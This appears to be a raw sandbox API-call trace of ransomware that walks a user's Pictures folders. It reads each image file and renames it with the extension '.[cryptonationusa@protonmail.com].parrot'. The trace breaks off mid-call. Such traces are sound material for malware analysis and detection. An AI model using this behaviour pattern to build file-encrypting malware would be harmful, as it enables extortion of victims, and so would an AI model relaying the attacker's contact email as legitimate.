[0093.554] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8193370, ftCreationTime.dwHighDateTime=0x1d5bef0, ftLastAccessTime.dwLowDateTime=0x1ce86340, ftLastAccessTime.dwHighDateTime=0x1d5c1b9, ftLastWriteTime.dwLowDateTime=0x1ce86340, ftLastWriteTime.dwHighDateTime=0x1d5c1b9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0093.555] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0093.555] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0093.555] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7e51f0a0, ftCreationTime.dwHighDateTime=0x1d5b927, ftLastAccessTime.dwLowDateTime=0xb8942cd0, ftLastAccessTime.dwHighDateTime=0x1d5bf38, ftLastWriteTime.dwLowDateTime=0xb8942cd0, ftLastWriteTime.dwHighDateTime=0x1d5bf38, nFileSizeHigh=0x0, nFileSizeLow=0x18db9, dwReserved0=0x0, dwReserved1=0x0, cFileName="-kVaa wDLj.bmp", cAlternateFileName="-KVAAW~1.BMP")) returned 1 [0093.555] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0093.555] ReadFile (in: hFile=0x260, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0093.556] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.556] ReadFile (in: hFile=0x260, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x18db9, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18f1c4*=0x18db9, lpOverlapped=0x0) returned 1 [0093.560] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.562] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\nEyCH7JtHF39vTTA\\Zny8vO9R\\-kVaa wDLj.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\neych7jthf39vtta\\zny8vo9r\\-kvaa wdlj.bmp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\nEyCH7JtHF39vTTA\\Zny8vO9R\\-kVaa wDLj.bmp.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\neych7jthf39vtta\\zny8vo9r\\-kvaa wdlj.bmp.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0093.564] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0093.564] ReadFile (in: hFile=0x260, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0093.565] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.565] ReadFile (in: hFile=0x260, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x161ef, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18f1c4*=0x161ef, lpOverlapped=0x0) returned 1 [0093.616] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.619] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\nEyCH7JtHF39vTTA\\Zny8vO9R\\BhPtusHPp_j5zMXOYyQw.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\neych7jthf39vtta\\zny8vo9r\\bhptushpp_j5zmxoyyqw.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\nEyCH7JtHF39vTTA\\Zny8vO9R\\BhPtusHPp_j5zMXOYyQw.jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\neych7jthf39vtta\\zny8vo9r\\bhptushpp_j5zmxoyyqw.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0093.623] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0093.623] ReadFile (in: hFile=0x260, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0093.624] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.624] ReadFile (in: hFile=0x260, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x811c, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18f1c4*=0x811c, lpOverlapped=0x0) returned 1 [0093.628] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.628] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\nEyCH7JtHF39vTTA\\Zny8vO9R\\HxWXpfx.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\neych7jthf39vtta\\zny8vo9r\\hxwxpfx.gif"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\nEyCH7JtHF39vTTA\\Zny8vO9R\\HxWXpfx.gif.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\neych7jthf39vtta\\zny8vo9r\\hxwxpfx.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0093.631] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\nEyCH7JtHF39vTTA\\Zny8vO9R\\sqQup\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0093.631] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0093.631] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x695d7820, ftCreationTime.dwHighDateTime=0x1d5c487, ftLastAccessTime.dwLowDateTime=0x12644440, ftLastAccessTime.dwHighDateTime=0x1d5c5ae, ftLastWriteTime.dwLowDateTime=0x12644440, ftLastWriteTime.dwHighDateTime=0x1d5c5ae, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0093.632] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0093.632] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0093.632] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7d89bd0, ftCreationTime.dwHighDateTime=0x1d5bf4f, ftLastAccessTime.dwLowDateTime=0x16c08b0, ftLastAccessTime.dwHighDateTime=0x1d5c141, ftLastWriteTime.dwLowDateTime=0x16c08b0, ftLastWriteTime.dwHighDateTime=0x1d5c141, nFileSizeHigh=0x0, nFileSizeLow=0x1346a, dwReserved0=0x0, dwReserved1=0x0, cFileName="bNIJyINE.gif", cAlternateFileName="")) returned 1 [0093.642] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0093.642] ReadFile (in: hFile=0x264, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0093.643] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.643] ReadFile (in: hFile=0x264, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x1346a, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18eed4*=0x1346a, lpOverlapped=0x0) returned 1 [0093.646] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.647] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\nEyCH7JtHF39vTTA\\Zny8vO9R\\sqQup\\bNIJyINE.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\neych7jthf39vtta\\zny8vo9r\\sqqup\\bnijyine.gif"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\nEyCH7JtHF39vTTA\\Zny8vO9R\\sqQup\\bNIJyINE.gif.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\neych7jthf39vtta\\zny8vo9r\\sqqup\\bnijyine.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0093.649] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0093.649] ReadFile (in: hFile=0x264, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0093.650] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.650] ReadFile (in: hFile=0x264, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xcf60, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18eed4*=0xcf60, lpOverlapped=0x0) returned 1 [0093.653] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.655] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\nEyCH7JtHF39vTTA\\Zny8vO9R\\sqQup\\EXS5jYLfMZIA7TIVu.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\neych7jthf39vtta\\zny8vo9r\\sqqup\\exs5jylfmzia7tivu.bmp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\nEyCH7JtHF39vTTA\\Zny8vO9R\\sqQup\\EXS5jYLfMZIA7TIVu.bmp.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\neych7jthf39vtta\\zny8vo9r\\sqqup\\exs5jylfmzia7tivu.bmp.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0093.659] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0093.659] ReadFile (in: hFile=0x264, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0093.660] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.660] ReadFile (in: hFile=0x264, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xd691, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18eed4*=0xd691, lpOverlapped=0x0) returned 1 [0093.662] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.666] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\nEyCH7JtHF39vTTA\\Zny8vO9R\\sqQup\\HdF2iPb.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\neych7jthf39vtta\\zny8vo9r\\sqqup\\hdf2ipb.gif"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\nEyCH7JtHF39vTTA\\Zny8vO9R\\sqQup\\HdF2iPb.gif.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\neych7jthf39vtta\\zny8vo9r\\sqqup\\hdf2ipb.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0093.670] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0093.670] ReadFile (in: hFile=0x264, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0093.671] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.671] ReadFile (in: hFile=0x264, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xcb77, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18eed4*=0xcb77, lpOverlapped=0x0) returned 1 [0093.673] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.674] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\nEyCH7JtHF39vTTA\\Zny8vO9R\\sqQup\\n 2pxb5lCvttjDmDFp.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\neych7jthf39vtta\\zny8vo9r\\sqqup\\n 2pxb5lcvttjdmdfp.gif"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\nEyCH7JtHF39vTTA\\Zny8vO9R\\sqQup\\n 2pxb5lCvttjDmDFp.gif.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\neych7jthf39vtta\\zny8vo9r\\sqqup\\n 2pxb5lcvttjdmdfp.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0093.678] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0093.679] ReadFile (in: hFile=0x264, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0093.679] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.680] ReadFile (in: hFile=0x264, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x16a30, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18eed4*=0x16a30, lpOverlapped=0x0) returned 1 [0093.683] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.685] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\nEyCH7JtHF39vTTA\\Zny8vO9R\\sqQup\\nURx_GtCnRH.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\neych7jthf39vtta\\zny8vo9r\\sqqup\\nurx_gtcnrh.gif"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\nEyCH7JtHF39vTTA\\Zny8vO9R\\sqQup\\nURx_GtCnRH.gif.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\neych7jthf39vtta\\zny8vo9r\\sqqup\\nurx_gtcnrh.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0093.689] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\nEyCH7JtHF39vTTA\\Zny8vO9R\\sqQup\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0093.689] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x695d7820, ftCreationTime.dwHighDateTime=0x1d5c487, ftLastAccessTime.dwLowDateTime=0xc527f860, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xc527f860, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0093.690] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7d89bd0, ftCreationTime.dwHighDateTime=0x1d5bf4f, ftLastAccessTime.dwLowDateTime=0x16c08b0, ftLastAccessTime.dwHighDateTime=0x1d5c141, ftLastWriteTime.dwLowDateTime=0xc520d440, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x13588, dwReserved0=0x0, dwReserved1=0x0, cFileName="bNIJyINE.gif.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="BNIJYI~1.PAR")) returned 1 [0093.690] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0093.691] ReadFile (in: hFile=0x260, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0093.691] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.691] ReadFile (in: hFile=0x260, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xcfcd, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18f1c4*=0xcfcd, lpOverlapped=0x0) returned 1 [0093.693] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.694] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\nEyCH7JtHF39vTTA\\Zny8vO9R\\_gXTQS.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\neych7jthf39vtta\\zny8vo9r\\_gxtqs.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\nEyCH7JtHF39vTTA\\Zny8vO9R\\_gXTQS.png.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\neych7jthf39vtta\\zny8vo9r\\_gxtqs.png.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0093.698] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\nEyCH7JtHF39vTTA\\Zny8vO9R\\*", fInfoLevelId=0x0, lpFindFileData=0x18f27c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f27c) returned 0x600450 [0093.698] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8193370, ftCreationTime.dwHighDateTime=0x1d5bef0, ftLastAccessTime.dwLowDateTime=0xc52a59c0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xc52a59c0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0093.698] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7e51f0a0, ftCreationTime.dwHighDateTime=0x1d5b927, ftLastAccessTime.dwLowDateTime=0xb8942cd0, ftLastAccessTime.dwHighDateTime=0x1d5bf38, ftLastWriteTime.dwLowDateTime=0xc514ed60, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x18ed8, dwReserved0=0x0, dwReserved1=0x0, cFileName="-kVaa wDLj.bmp.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="-KVAAW~1.PAR")) returned 1 [0093.698] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\nEyCH7JtHF39vTTA\\*", fInfoLevelId=0x0, lpFindFileData=0x18f56c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f56c) returned 0x600410 [0093.698] FindNextFileW (in: hFindFile=0x600410, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc441acd0, ftCreationTime.dwHighDateTime=0x1d5bb94, ftLastAccessTime.dwLowDateTime=0xc5128c00, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xc5128c00, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0093.698] FindNextFileW (in: hFindFile=0x600410, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x29ed9f20, ftCreationTime.dwHighDateTime=0x1d5bb64, ftLastAccessTime.dwLowDateTime=0xc4ff8100, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xc4ff8100, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AENxC6lDBWEp", cAlternateFileName="AENXC6~1")) returned 1 [0093.698] FindNextFileW (in: hFindFile=0x600410, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a1762d0, ftCreationTime.dwHighDateTime=0x1d5b7ea, ftLastAccessTime.dwLowDateTime=0x327b7d00, ftLastAccessTime.dwHighDateTime=0x1d5c02e, ftLastWriteTime.dwLowDateTime=0xc50443c0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x8f68, dwReserved0=0x0, dwReserved1=0x0, cFileName="c8Fcyn4hvI4gYcro8.png.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="C8FCYN~1.PAR")) returned 1 [0093.698] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0093.698] ReadFile (in: hFile=0x284, lpBuffer=0x18f800, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f7a4, lpOverlapped=0x0 | out: lpBuffer=0x18f800*, lpNumberOfBytesRead=0x18f7a4*=0x18, lpOverlapped=0x0) returned 1 [0093.699] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.699] ReadFile (in: hFile=0x284, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xd0df, lpNumberOfBytesRead=0x18f7a4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18f7a4*=0xd0df, lpOverlapped=0x0) returned 1 [0093.701] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.701] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\x5gm4r5.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\x5gm4r5.gif"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\x5gm4r5.gif.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\x5gm4r5.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0093.703] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0093.703] ReadFile (in: hFile=0x284, lpBuffer=0x18f800, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f7a4, lpOverlapped=0x0 | out: lpBuffer=0x18f800*, lpNumberOfBytesRead=0x18f7a4*=0x18, lpOverlapped=0x0) returned 1 [0093.704] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.704] ReadFile (in: hFile=0x284, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x15cd4, lpNumberOfBytesRead=0x18f7a4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18f7a4*=0x15cd4, lpOverlapped=0x0) returned 1 [0093.707] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.707] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\XnlIMEIQKmF_.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\xnlimeiqkmf_.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\XnlIMEIQKmF_.jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\xnlimeiqkmf_.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0093.761] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\*", fInfoLevelId=0x0, lpFindFileData=0x18f85c, fSearchOp=0x0, lpSearchFilter=0x0, 